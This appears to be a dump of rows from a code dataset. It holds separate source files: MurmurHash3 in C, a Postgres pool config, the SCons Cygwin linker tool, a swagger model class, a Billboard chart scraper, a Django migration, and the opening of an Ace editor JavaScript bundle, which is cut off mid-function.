text
stringlengths 3
1.05M
|
|---|
/*-----------------------------------------------------------------------------
* MurmurHash3 was written by Austin Appleby, and is placed in the public
* domain. The author hereby disclaims copyright to this source code.
* Note - The x86 and x64 versions do _not_ produce the same results, as the
* algorithms are optimized for their respective platforms. You can still
* compile and run any of them on any platform, but your performance with the
* non-native version will be less than optimal.
*/
#include "murmur3.h"
/*-----------------------------------------------------------------------------
* Platform-specific functions and macros
*/
#ifdef __GNUC__
#define FORCE_INLINE __attribute__((always_inline)) inline
#else
#define FORCE_INLINE
#endif
static FORCE_INLINE uint32_t rotl32 ( uint32_t x, int8_t r )
{
return (x << r) | (x >> (32 - r));
}
static FORCE_INLINE uint64_t rotl64 ( uint64_t x, int8_t r )
{
return (x << r) | (x >> (64 - r));
}
#define ROTL32(x,y) rotl32(x,y)
#define ROTL64(x,y) rotl64(x,y)
#define BIG_CONSTANT(x) (x##LLU)
/*-----------------------------------------------------------------------------
* Block read - if your platform needs to do endian-swapping or can only
* handle aligned reads, do the conversion here
*/
#define getblock(p, i) (p[i])
/*-----------------------------------------------------------------------------
* Finalization mix - force all bits of a hash block to avalanche
*/
static FORCE_INLINE uint32_t fmix32 ( uint32_t h )
{
h ^= h >> 16;
h *= 0x85ebca6b;
h ^= h >> 13;
h *= 0xc2b2ae35;
h ^= h >> 16;
return h;
}
/* ---------- */
static FORCE_INLINE uint64_t fmix64 ( uint64_t k )
{
k ^= k >> 33;
k *= BIG_CONSTANT(0xff51afd7ed558ccd);
k ^= k >> 33;
k *= BIG_CONSTANT(0xc4ceb9fe1a85ec53);
k ^= k >> 33;
return k;
}
/*-----------------------------------------------------------------------------*/
void MurmurHash3_x86_32 ( const void * key, int len,
uint32_t seed, void * out )
{
const uint8_t * data = (const uint8_t*)key;
const int nblocks = len / 4;
int i;
uint32_t h1 = seed;
uint32_t c1 = 0xcc9e2d51;
uint32_t c2 = 0x1b873593;
/*----------
* body
*/
const uint32_t * blocks = (const uint32_t *)(data + nblocks*4);
for(i = -nblocks; i; i++)
{
uint32_t k1 = getblock(blocks,i);
k1 *= c1;
k1 = ROTL32(k1,15);
k1 *= c2;
h1 ^= k1;
h1 = ROTL32(h1,13);
h1 = h1*5+0xe6546b64;
}
/*----------
* tail
*/
const uint8_t * tail = (const uint8_t*)(data + nblocks*4);
uint32_t k1 = 0;
switch(len & 3)
{
case 3: k1 ^= tail[2] << 16;
case 2: k1 ^= tail[1] << 8;
case 1: k1 ^= tail[0];
k1 *= c1; k1 = ROTL32(k1,15); k1 *= c2; h1 ^= k1;
};
/* finalization */
h1 ^= len;
h1 = fmix32(h1);
*(uint32_t*)out = h1;
}
void MurmurHash3_x86_128 ( const void * key, const int len,
uint32_t seed, void * out )
{
const uint8_t * data = (const uint8_t*)key;
const int nblocks = len / 16;
int i;
uint32_t h1 = seed;
uint32_t h2 = seed;
uint32_t h3 = seed;
uint32_t h4 = seed;
uint32_t c1 = 0x239b961b;
uint32_t c2 = 0xab0e9789;
uint32_t c3 = 0x38b34ae5;
uint32_t c4 = 0xa1e38b93;
/* body */
const uint32_t * blocks = (const uint32_t *)(data + nblocks*16);
for(i = -nblocks; i; i++)
{
uint32_t k1 = getblock(blocks,i*4+0);
uint32_t k2 = getblock(blocks,i*4+1);
uint32_t k3 = getblock(blocks,i*4+2);
uint32_t k4 = getblock(blocks,i*4+3);
k1 *= c1; k1 = ROTL32(k1,15); k1 *= c2; h1 ^= k1;
h1 = ROTL32(h1,19); h1 += h2; h1 = h1*5+0x561ccd1b;
k2 *= c2; k2 = ROTL32(k2,16); k2 *= c3; h2 ^= k2;
h2 = ROTL32(h2,17); h2 += h3; h2 = h2*5+0x0bcaa747;
k3 *= c3; k3 = ROTL32(k3,17); k3 *= c4; h3 ^= k3;
h3 = ROTL32(h3,15); h3 += h4; h3 = h3*5+0x96cd1c35;
k4 *= c4; k4 = ROTL32(k4,18); k4 *= c1; h4 ^= k4;
h4 = ROTL32(h4,13); h4 += h1; h4 = h4*5+0x32ac3b17;
}
/* tail */
const uint8_t * tail = (const uint8_t*)(data + nblocks*16);
uint32_t k1 = 0;
uint32_t k2 = 0;
uint32_t k3 = 0;
uint32_t k4 = 0;
switch(len & 15)
{
case 15: k4 ^= tail[14] << 16;
case 14: k4 ^= tail[13] << 8;
case 13: k4 ^= tail[12] << 0;
k4 *= c4; k4 = ROTL32(k4,18); k4 *= c1; h4 ^= k4;
case 12: k3 ^= tail[11] << 24;
case 11: k3 ^= tail[10] << 16;
case 10: k3 ^= tail[ 9] << 8;
case 9: k3 ^= tail[ 8] << 0;
k3 *= c3; k3 = ROTL32(k3,17); k3 *= c4; h3 ^= k3;
case 8: k2 ^= tail[ 7] << 24;
case 7: k2 ^= tail[ 6] << 16;
case 6: k2 ^= tail[ 5] << 8;
case 5: k2 ^= tail[ 4] << 0;
k2 *= c2; k2 = ROTL32(k2,16); k2 *= c3; h2 ^= k2;
case 4: k1 ^= tail[ 3] << 24;
case 3: k1 ^= tail[ 2] << 16;
case 2: k1 ^= tail[ 1] << 8;
case 1: k1 ^= tail[ 0] << 0;
k1 *= c1; k1 = ROTL32(k1,15); k1 *= c2; h1 ^= k1;
};
h1 ^= len; h2 ^= len; h3 ^= len; h4 ^= len;
h1 += h2; h1 += h3; h1 += h4;
h2 += h1; h3 += h1; h4 += h1;
h1 = fmix32(h1);
h2 = fmix32(h2);
h3 = fmix32(h3);
h4 = fmix32(h4);
h1 += h2; h1 += h3; h1 += h4;
h2 += h1; h3 += h1; h4 += h1;
((uint32_t*)out)[0] = h1;
((uint32_t*)out)[1] = h2;
((uint32_t*)out)[2] = h3;
((uint32_t*)out)[3] = h4;
}
void MurmurHash3_x64_128 ( const void * key, const int len,
const uint32_t seed, void * out )
{
const uint8_t * data = (const uint8_t*)key;
const int nblocks = len / 16;
int i;
uint64_t h1 = seed;
uint64_t h2 = seed;
uint64_t c1 = BIG_CONSTANT(0x87c37b91114253d5);
uint64_t c2 = BIG_CONSTANT(0x4cf5ad432745937f);
const uint64_t * blocks = (const uint64_t *)(data);
for(i = 0; i < nblocks; i++)
{
uint64_t k1 = getblock(blocks,i*2+0);
uint64_t k2 = getblock(blocks,i*2+1);
k1 *= c1; k1 = ROTL64(k1,31); k1 *= c2; h1 ^= k1;
h1 = ROTL64(h1,27); h1 += h2; h1 = h1*5+0x52dce729;
k2 *= c2; k2 = ROTL64(k2,33); k2 *= c1; h2 ^= k2;
h2 = ROTL64(h2,31); h2 += h1; h2 = h2*5+0x38495ab5;
}
const uint8_t * tail = (const uint8_t*)(data + nblocks*16);
uint64_t k1 = 0;
uint64_t k2 = 0;
switch(len & 15)
{
case 15: k2 ^= (uint64_t)(tail[14]) << 48;
case 14: k2 ^= (uint64_t)(tail[13]) << 40;
case 13: k2 ^= (uint64_t)(tail[12]) << 32;
case 12: k2 ^= (uint64_t)(tail[11]) << 24;
case 11: k2 ^= (uint64_t)(tail[10]) << 16;
case 10: k2 ^= (uint64_t)(tail[ 9]) << 8;
case 9: k2 ^= (uint64_t)(tail[ 8]) << 0;
k2 *= c2; k2 = ROTL64(k2,33); k2 *= c1; h2 ^= k2;
case 8: k1 ^= (uint64_t)(tail[ 7]) << 56;
case 7: k1 ^= (uint64_t)(tail[ 6]) << 48;
case 6: k1 ^= (uint64_t)(tail[ 5]) << 40;
case 5: k1 ^= (uint64_t)(tail[ 4]) << 32;
case 4: k1 ^= (uint64_t)(tail[ 3]) << 24;
case 3: k1 ^= (uint64_t)(tail[ 2]) << 16;
case 2: k1 ^= (uint64_t)(tail[ 1]) << 8;
case 1: k1 ^= (uint64_t)(tail[ 0]) << 0;
k1 *= c1; k1 = ROTL64(k1,31); k1 *= c2; h1 ^= k1;
};
h1 ^= len; h2 ^= len;
h1 += h2;
h2 += h1;
h1 = fmix64(h1);
h2 = fmix64(h2);
h1 += h2;
h2 += h1;
((uint64_t*)out)[0] = h1;
((uint64_t*)out)[1] = h2;
}
|
//setting up connection to the database
require('dotenv').config();
const { Pool } = require('pg');
const uri = process.env.DB_URI;
const pool = new Pool({
connectionString: uri,
max: 3
});
module.exports = pool;
|
"""SCons.Tool.cyglink
Customization of gnulink for Cygwin (http://www.cygwin.com/)
There normally shouldn't be any need to import this module directly.
It will usually be imported through the generic SCons.Tool.Tool()
selection method.
"""
from SCons.Tool.linkCommon import StringizeLibSymlinks, EmitLibSymlinks
from SCons.Util import CLVar, is_String
from . import gnulink
def cyglink_lib_emitter(target, source, env, **kw):
verbose = True
if 'variable_prefix' in kw:
var_prefix = kw['variable_prefix']
else:
var_prefix = 'SHLIB'
no_import_lib = env.get('no_import_lib', False)
if verbose:
print("cyglink_lib_emitter: target[0]={!r}".format(target[0].get_path()))
if not no_import_lib:
# Specify import lib and add to targets
import_lib = env.subst('$%s_IMPLIBNAME' % var_prefix, target=target, source=source)
import_lib_target = env.fs.File(import_lib)
import_lib_target.attributes.shared = 1
target.append(import_lib_target)
if verbose:
print("cyglink_lib_emitter: import_lib={}".format(import_lib))
print("cyglink_lib_emitter: target=%s" % target)
for tgt in target:
if is_String(tgt):
tgt = env.File(tgt)
tgt.attributes.shared = 1
return target, source
def cyglink_ldmodule_emitter(target, source, env, **kw):
return cyglink_lib_emitter(target, source, env, variable_prefix='LDMODULE')
def cyglink_shlib_symlink_emitter(target, source, env, **kw):
"""
On cygwin, we only create a symlink from the non-versioned implib to the versioned implib.
We don't version the shared library itself.
:param target:
:param source:
:param env:
:param kw:
:return:
"""
verbose = True
if 'variable_prefix' in kw:
var_prefix = kw['variable_prefix']
else:
var_prefix = 'SHLIB'
no_import_lib = env.get('no_import_lib', False)
if no_import_lib in ['1', 'True', 'true', True]:
if verbose:
print("cyglink_shlib_symlink_emitter: no_import_lib=%s" % no_import_lib)
return target, source
no_symlinks = env.subst('$%sNOVERSIONSYMLINKS' % var_prefix)
if no_symlinks in ['1', 'True', 'true', True]:
return target, source
shlibversion = env.subst('$%sVERSION' % var_prefix)
if shlibversion:
if verbose:
print("cyglink_shlib_symlink_emitter: %sVERSION=%s" % (var_prefix, shlibversion))
# The implib (added by the cyglink_lib_emitter)
imp_lib_node = target[1]
shlib_noversion_symlink = env.subst('$%s_NOVERSION_SYMLINK' % var_prefix, target=target[0], source=source)
if verbose:
print("cyglink_shlib_symlink_emitter: shlib_noversion_symlink :%s" % shlib_noversion_symlink)
print("cyglink_shlib_symlink_emitter: imp_lib_node :%s" % imp_lib_node)
symlinks = [(env.File(shlib_noversion_symlink), imp_lib_node)]
if verbose:
print("cyglink_shlib_symlink_emitter: symlinks={!r}".format(
', '.join(["%r->%r" % (k, v) for k, v in StringizeLibSymlinks(symlinks)])
))
if symlinks:
# This does the actual symlinking
EmitLibSymlinks(env, symlinks, target[0])
# This saves the information so if the versioned shared library is installed
# it can faithfully reproduce the correct symlinks
target[0].attributes.shliblinks = symlinks
return target, source
def cyglink_ldmod_symlink_emitter(target, source, env, **kw):
return cyglink_shlib_symlink_emitter(target, source, env, variable_prefix='LDMODULE')
def cyglink_shlibversion(target, source, env, for_signature):
var_prefix = 'SHLIB'
var = '%sVERSION' % var_prefix
if var not in env:
return ''
version = env.subst("$%s" % var, target=target, source=source)
version = version.replace('.', '-')
return "." + version
def cyglink_ldmodule_version(target, source, env, for_signature):
var_prefix = 'LDMODULE'
var = '%sVERSION' % var_prefix
if var not in env:
return ''
version = env.subst("$%s" % var, target=target, source=source)
version = version.replace('.', '-')
return "." + version
def _implib_pre_flags(target, source, env, for_signature):
no_import_lib = env.get('no_import_lib', False)
if no_import_lib in ['1', 'True', 'true', True]:
return ''
else:
return '-Wl,--out-implib=${TARGETS[1]} -Wl,--export-all-symbols -Wl,--enable-auto-import -Wl,--whole-archive'
def _implib_post_flags(target, source, env, for_signature):
no_import_lib = env.get('no_import_lib', False)
if no_import_lib in ['1', 'True', 'true', True]:
return ''
else:
return '-Wl,--no-whole-archive'
def generate(env):
"""Add Builders and construction variables for cyglink to an Environment."""
gnulink.generate(env)
env['LINKFLAGS'] = CLVar('-Wl,-no-undefined')
env['SHLIBPREFIX'] = 'cyg'
env['SHLIBSUFFIX'] = '.dll'
env['IMPLIBPREFIX'] = 'lib'
env['IMPLIBSUFFIX'] = '.dll.a'
# Variables used by versioned shared libraries
# SHLIBVERSIONFLAGS and LDMODULEVERSIONFLAGS are same as in gnulink...
env['_SHLIBVERSIONFLAGS'] = '$SHLIBVERSIONFLAGS'
env['_LDMODULEVERSIONFLAGS'] = '$LDMODULEVERSIONFLAGS'
env['_IMPLIB_PRE_SOURCES'] = _implib_pre_flags
env['_IMPLIB_POST_SOURCES'] = _implib_post_flags
env['SHLINKCOM'] = '$SHLINK -o $TARGET $SHLINKFLAGS $__SHLIBVERSIONFLAGS $__RPATH ' \
'$_IMPLIB_PRE_SOURCES $SOURCES $_IMPLIB_POST_SOURCES $_LIBDIRFLAGS $_LIBFLAGS'
env['LDMODULECOM'] = '$LDMODULE -o $TARGET $SHLINKFLAGS $__LDMODULEVERSIONFLAGS $__RPATH ' \
'$_IMPLIB_PRE_SOURCES $SOURCES $_IMPLIB_POST_SOURCES $_LIBDIRFLAGS $_LIBFLAGS'
# Overwrite emitters. Cyglink does things differently when creating symlinks
env['SHLIBEMITTER'] = [cyglink_lib_emitter, cyglink_shlib_symlink_emitter]
env['LDMODULEEMITTER'] = [cyglink_ldmodule_emitter, cyglink_ldmod_symlink_emitter]
# This is the non versioned shlib filename
# If SHLIBVERSION is defined then this will symlink to $SHLIBNAME
env['SHLIB_NOVERSION_SYMLINK'] = '${IMPLIBPREFIX}$_get_shlib_stem${IMPLIBSUFFIX}'
env['LDMODULE_NOVERSION_SYMLINK'] = '${IMPLIBPREFIX}$_get_ldmodule_stem${IMPLIBSUFFIX}'
env['SHLIB_IMPLIBNAME'] = '${IMPLIBPREFIX}$_get_shlib_stem${_SHLIB_IMPLIBSUFFIX}'
env['LDMODULE_IMPLIBNAME'] = '${IMPLIBPREFIX}$_get_ldmodule_stem${_LDMODULE_IMPLIBSUFFIX}'
env['_cyglink_shlibversion'] = cyglink_shlibversion
env['_SHLIB_IMPLIBSUFFIX'] = '${_cyglink_shlibversion}${IMPLIBSUFFIX}'
env['_SHLIBSUFFIX'] = '${_cyglink_shlibversion}${SHLIBSUFFIX}'
env['_cyglink_ldmodule_version'] = cyglink_ldmodule_version
env['_LDMODULESUFFIX'] = '${_cyglink_ldmodule_version}${LDMODULESUFFIX}'
env['_LDMODULE_IMPLIBSUFFIX'] = '${_cyglink_ldmodule_version}${IMPLIBSUFFIX}'
# Remove variables set by default initialization which aren't needed/used by cyglink
# these variables were set by gnulink but are not used in cyglink
for rv in ['_SHLIBSONAME', '_LDMODULESONAME']:
if rv in env:
del env[rv]
def exists(env):
return gnulink.exists(env)
# Local Variables:
# tab-width:4
# indent-tabs-mode:nil
# End:
# vim: set expandtab tabstop=4 shiftwidth=4:
|
#!/usr/bin/env python
#pylint: skip-file
# This source code is licensed under the Apache license found in the
# LICENSE file in the root directory of this project.
class TicketRbacResult(object):
def __init__(self):
"""
Attributes:
swaggerTypes (dict): The key is attribute name and the value is attribute type.
attributeMap (dict): The key is attribute name and the value is json key in definition.
"""
self.swaggerTypes = {
'version': 'str',
'response': 'ServiceTicketRbac'
}
self.attributeMap = {
'version': 'version',
'response': 'response'
}
self.version = None # str
self.response = None # ServiceTicketRbac
|
import logging
import requests
import argparse
from bs4 import BeautifulSoup
from time import sleep
from os import path
from db import get_db_connection, dict_factory
import coloredlogs
from csv import DictReader
coloredlogs.install()
logging.basicConfig()
logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
def scrape_billboard_charts(start_year, end_year):
for year in range(start_year, end_year + 1):
if 1991 <= year <= 2005:
# As of 2021-06-23, Billboard's year-end charts for 1991 - 2005 are incorrect. They are all the chart for 2006.
# I emailed them to correct it, and for now I'll use data from when I scraped these charts years ago:
# https://github.com/ryanrishi/loudness-wars/commit/be0349aab29cd734ce2d2eff63fe92d5f6bb941c
logger.warning(f"Billboard data is inaccurate for 1991 - 2005. Reading {year} from CSV")
load_billboard_csv(year)
continue
success = False
while not success:
logger.info(f"Getting Billboard chart for {year}")
response = requests.get(f"https://www.billboard.com/charts/year-end/{year}/hot-100-songs")
if response.status_code == 200:
process_chart_html(response.text, year)
success = True
elif response.status_code == 429:
# oops sorry Billboard
delay = int(response.headers['Retry-After']) if response.headers['Retry-After'] is not None else 60
logger.info(f"Received 429 from Billboard - sleeping for {delay} seconds")
sleep(delay)
else:
logger.error(f"Unhandled status code: {response.status_code}")
def process_chart_html(chart_html: str, year: int):
soup = BeautifulSoup(chart_html, "html.parser")
year_end_chart_items = soup.find_all(class_="ye-chart-item")
for chart_item in year_end_chart_items:
track_name = chart_item.find(class_="ye-chart-item__title").text.strip()
artist_name = chart_item.find(class_="ye-chart-item__artist").text.strip()
rank = int(chart_item.find(class_="ye-chart-item__rank").text)
save_song(track_name, artist_name, year, rank)
logger.info(f"Processed Billboard chart for {year}")
def save_song(track_name: str, artist_name: str, year: int, rank: int):
conn = get_db_connection("billboard")
cursor = conn.cursor()
cursor.execute('''
SELECT * FROM chart WHERE song = ? AND artist = ? AND year = ? AND position = ?
''', (track_name, artist_name, year, rank))
found_track = cursor.fetchone()
if found_track:
logger.debug(f"Track already exists in database: {track_name} by {artist_name} ({year})")
if found_track is None:
try:
cursor.execute('''
INSERT INTO chart (song, artist, year, position) VALUES (?, ?, ?, ?)
''', (track_name, artist_name, year, rank))
conn.commit()
except Exception as e:
logger.error(f"Error inserting chart track: {track_name} by {artist_name} ({year})")
logger.error(e)
def find_billboard_chart_track(track_name: str, artist_name: str, year: int):
conn = get_db_connection("billboard")
cursor = conn.cursor()
cursor.execute("SELECT * FROM chart WHERE song = ? AND artist = ? AND year = ?", (track_name, artist_name, year))
return cursor.fetchone()
def find_tracks_by_year(start_year: int, end_year: int):
"""
Returns a list of tracks between the following years. Start year is inclusive, end year is exclusive.
"""
conn = get_db_connection("billboard")
conn.row_factory = dict_factory
cursor = conn.cursor()
cursor.execute('''
SELECT * FROM chart WHERE year >= ? AND year < ?
''', (start_year, end_year))
return cursor.fetchall()
def mark_track_as_found(track_id):
conn = get_db_connection("billboard")
cursor = conn.cursor()
cursor.execute('''
UPDATE chart SET found = ? WHERE id = ?
''', (1, track_id))
conn.commit()
logger.debug(f"Marked track as found: {track_id}")
def load_billboard_csv(year: int):
with open(path.join(path.dirname(path.dirname(__file__)), f"billboard/{year}.csv"), 'r') as f:
reader = DictReader(f)
for row in reader:
save_song(row["song"], row["artist"], year, int(row["rank"]))
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Scrape Billboard charts.')
parser.add_argument('--start-year', default=1970, type=int) # Billboard doesn't have charts < 1970
parser.add_argument('--end-year', default=2020, type=int)
args = parser.parse_args()
scrape_billboard_charts(args.start_year, args.end_year)
|
# Generated by Django 3.1.5 on 2021-01-31 02:26
from django.conf import settings
import django.contrib.auth.models
import django.contrib.auth.validators
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
('auth', '0012_alter_user_first_name_max_length'),
]
operations = [
migrations.CreateModel(
name='User',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('password', models.CharField(max_length=128, verbose_name='password')),
('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')),
('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')),
('username', models.CharField(error_messages={'unique': 'A user with that username already exists.'}, help_text='Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.', max_length=150, unique=True, validators=[django.contrib.auth.validators.UnicodeUsernameValidator()], verbose_name='username')),
('first_name', models.CharField(blank=True, max_length=150, verbose_name='first name')),
('last_name', models.CharField(blank=True, max_length=150, verbose_name='last name')),
('email', models.EmailField(blank=True, max_length=254, verbose_name='email address')),
('is_staff', models.BooleanField(default=False, help_text='Designates whether the user can log into this admin site.', verbose_name='staff status')),
('is_active', models.BooleanField(default=True, help_text='Designates whether this user should be treated as active. Unselect this instead of deleting accounts.', verbose_name='active')),
('date_joined', models.DateTimeField(default=django.utils.timezone.now, verbose_name='date joined')),
('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')),
('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')),
],
options={
'verbose_name': 'user',
'verbose_name_plural': 'users',
'abstract': False,
},
managers=[
('objects', django.contrib.auth.models.UserManager()),
],
),
migrations.CreateModel(
name='Note',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=1000)),
('content', models.TextField()),
('date_created', models.DateField(auto_now_add=True)),
('date_uipdated', models.DateField(auto_now=True)),
('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
]
|
/* ***** BEGIN LICENSE BLOCK *****
* Distributed under the BSD license:
*
* Copyright (c) 2010, Ajax.org B.V.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Ajax.org B.V. nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL AJAX.ORG B.V. BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* ***** END LICENSE BLOCK ***** */
/**
* Define a module along with a payload
* @param module a name for the payload
* @param payload a function to call with (require, exports, module) params
*/
(function() {
var ACE_NAMESPACE = "ace";
var global = (function() { return this; })();
if (!global && typeof window != "undefined") global = window; // strict mode
if (!ACE_NAMESPACE && typeof requirejs !== "undefined")
return;
var define = function(module, deps, payload) {
if (typeof module !== "string") {
if (define.original)
define.original.apply(this, arguments);
else {
console.error("dropping module because define wasn\'t a string.");
console.trace();
}
return;
}
if (arguments.length == 2)
payload = deps;
if (!define.modules[module]) {
define.payloads[module] = payload;
define.modules[module] = null;
}
};
define.modules = {};
define.payloads = {};
/**
* Get at functionality define()ed using the function above
*/
var _require = function(parentId, module, callback) {
if (typeof module === "string") {
var payload = lookup(parentId, module);
if (payload != undefined) {
callback && callback();
return payload;
}
} else if (Object.prototype.toString.call(module) === "[object Array]") {
var params = [];
for (var i = 0, l = module.length; i < l; ++i) {
var dep = lookup(parentId, module[i]);
if (dep == undefined && require.original)
return;
params.push(dep);
}
return callback && callback.apply(null, params) || true;
}
};
var require = function(module, callback) {
var packagedModule = _require("", module, callback);
if (packagedModule == undefined && require.original)
return require.original.apply(this, arguments);
return packagedModule;
};
var normalizeModule = function(parentId, moduleName) {
// normalize plugin requires
if (moduleName.indexOf("!") !== -1) {
var chunks = moduleName.split("!");
return normalizeModule(parentId, chunks[0]) + "!" + normalizeModule(parentId, chunks[1]);
}
// normalize relative requires
if (moduleName.charAt(0) == ".") {
var base = parentId.split("/").slice(0, -1).join("/");
moduleName = base + "/" + moduleName;
while(moduleName.indexOf(".") !== -1 && previous != moduleName) {
var previous = moduleName;
moduleName = moduleName.replace(/\/\.\//, "/").replace(/[^\/]+\/\.\.\//, "");
}
}
return moduleName;
};
/**
* Internal function to lookup moduleNames and resolve them by calling the
* definition function if needed.
*/
var lookup = function(parentId, moduleName) {
moduleName = normalizeModule(parentId, moduleName);
var module = define.modules[moduleName];
if (!module) {
module = define.payloads[moduleName];
if (typeof module === 'function') {
var exports = {};
var mod = {
id: moduleName,
uri: '',
exports: exports,
packaged: true
};
var req = function(module, callback) {
return _require(moduleName, module, callback);
};
var returnValue = module(req, exports, mod);
exports = returnValue || mod.exports;
define.modules[moduleName] = exports;
delete define.payloads[moduleName];
}
module = define.modules[moduleName] = exports || module;
}
return module;
};
function exportAce(ns) {
var root = global;
if (ns) {
if (!global[ns])
global[ns] = {};
root = global[ns];
}
if (!root.define || !root.define.packaged) {
define.original = root.define;
root.define = define;
root.define.packaged = true;
}
if (!root.require || !root.require.packaged) {
require.original = root.require;
root.require = require;
root.require.packaged = true;
}
}
exportAce(ACE_NAMESPACE);
})();
ace.define("ace/lib/regexp",["require","exports","module"], function(require, exports, module) {
"use strict";
var real = {
exec: RegExp.prototype.exec,
test: RegExp.prototype.test,
match: String.prototype.match,
replace: String.prototype.replace,
split: String.prototype.split
},
compliantExecNpcg = real.exec.call(/()??/, "")[1] === undefined, // check `exec` handling of nonparticipating capturing groups
compliantLastIndexIncrement = function () {
var x = /^/g;
real.test.call(x, "");
return !x.lastIndex;
}();
if (compliantLastIndexIncrement && compliantExecNpcg)
return;
RegExp.prototype.exec = function (str) {
var match = real.exec.apply(this, arguments),
name, r2;
if ( typeof(str) == 'string' && match) {
if (!compliantExecNpcg && match.length > 1 && indexOf(match, "") > -1) {
r2 = RegExp(this.source, real.replace.call(getNativeFlags(this), "g", ""));
real.replace.call(str.slice(match.index), r2, function () {
for (var i = 1; i < arguments.length - 2; i++) {
if (arguments[i] === undefined)
match[i] = undefined;
}
});
}
if (this._xregexp && this._xregexp.captureNames) {
for (var i = 1; i < match.length; i++) {
name = this._xregexp.captureNames[i - 1];
if (name)
match[name] = match[i];
}
}
if (!compliantLastIndexIncrement && this.global && !match[0].length && (this.lastIndex > match.index))
this.lastIndex--;
}
return match;
};
if (!compliantLastIndexIncrement) {
RegExp.prototype.test = function (str) {
var match = real.exec.call(this, str);
if (match && this.global && !match[0].length && (this.lastIndex > match.index))
this.lastIndex--;
return !!match;
};
}
function getNativeFlags (regex) {
return (regex.global ? "g" : "") +
(regex.ignoreCase ? "i" : "") +
(regex.multiline ? "m" : "") +
(regex.extended ? "x" : "") + // Proposed for ES4; included in AS3
(regex.sticky ? "y" : "");
}
function indexOf (array, item, from) {
if (Array.prototype.indexOf) // Use the native array method if available
return array.indexOf(item, from);
for (var i = from || 0; i < array.length; i++) {
if (array[i] === item)
return i;
}
return -1;
}
});
ace.define("ace/lib/es5-shim",["require","exports","module"], function(require, exports, module) {
function Empty() {}
if (!Function.prototype.bind) {
Function.prototype.bind = function bind(that) { // .length is 1
var target = this;
if (typeof target != "function") {
throw new TypeError("Function.prototype.bind called on incompatible " + target);
}
var args = slice.call(arguments, 1); // for normal call
var bound = function () {
if (this instanceof bound) {
var result = target.apply(
this,
args.concat(slice.call(arguments))
);
if (Object(result) === result) {
return result;
}
return this;
} else {
return target.apply(
that,
args.concat(slice.call(arguments))
);
}
};
if(target.prototype) {
Empty.prototype = target.prototype;
bound.prototype = new Empty();
Empty.prototype = null;
}
return bound;
};
}
var call = Function.prototype.call;
var prototypeOfArray = Array.prototype;
var prototypeOfObject = Object.prototype;
var slice = prototypeOfArray.slice;
var _toString = call.bind(prototypeOfObject.toString);
var owns = call.bind(prototypeOfObject.hasOwnProperty);
var defineGetter;
var defineSetter;
var lookupGetter;
var lookupSetter;
var supportsAccessors;
if ((supportsAccessors = owns(prototypeOfObject, "__defineGetter__"))) {
defineGetter = call.bind(prototypeOfObject.__defineGetter__);
defineSetter = call.bind(prototypeOfObject.__defineSetter__);
lookupGetter = call.bind(prototypeOfObject.__lookupGetter__);
lookupSetter = call.bind(prototypeOfObject.__lookupSetter__);
}
if ([1,2].splice(0).length != 2) {
if(function() { // test IE < 9 to splice bug - see issue #138
function makeArray(l) {
var a = new Array(l+2);
a[0] = a[1] = 0;
return a;
}
var array = [], lengthBefore;
array.splice.apply(array, makeArray(20));
array.splice.apply(array, makeArray(26));
lengthBefore = array.length; //46
array.splice(5, 0, "XXX"); // add one element
lengthBefore + 1 == array.length
if (lengthBefore + 1 == array.length) {
return true;// has right splice implementation without bugs
}
}()) {//IE 6/7
var array_splice = Array.prototype.splice;
Array.prototype.splice = function(start, deleteCount) {
if (!arguments.length) {
return [];
} else {
return array_splice.apply(this, [
start === void 0 ? 0 : start,
deleteCount === void 0 ? (this.length - start) : deleteCount
].concat(slice.call(arguments, 2)))
}
};
} else {//IE8
Array.prototype.splice = function(pos, removeCount){
var length = this.length;
if (pos > 0) {
if (pos > length)
pos = length;
} else if (pos == void 0) {
pos = 0;
} else if (pos < 0) {
pos = Math.max(length + pos, 0);
}
if (!(pos+removeCount < length))
removeCount = length - pos;
var removed = this.slice(pos, pos+removeCount);
var insert = slice.call(arguments, 2);
var add = insert.length;
if (pos === length) {
if (add) {
this.push.apply(this, insert);
}
} else {
var remove = Math.min(removeCount, length - pos);
var tailOldPos = pos + remove;
var tailNewPos = tailOldPos + add - remove;
var tailCount = length - tailOldPos;
var lengthAfterRemove = length - remove;
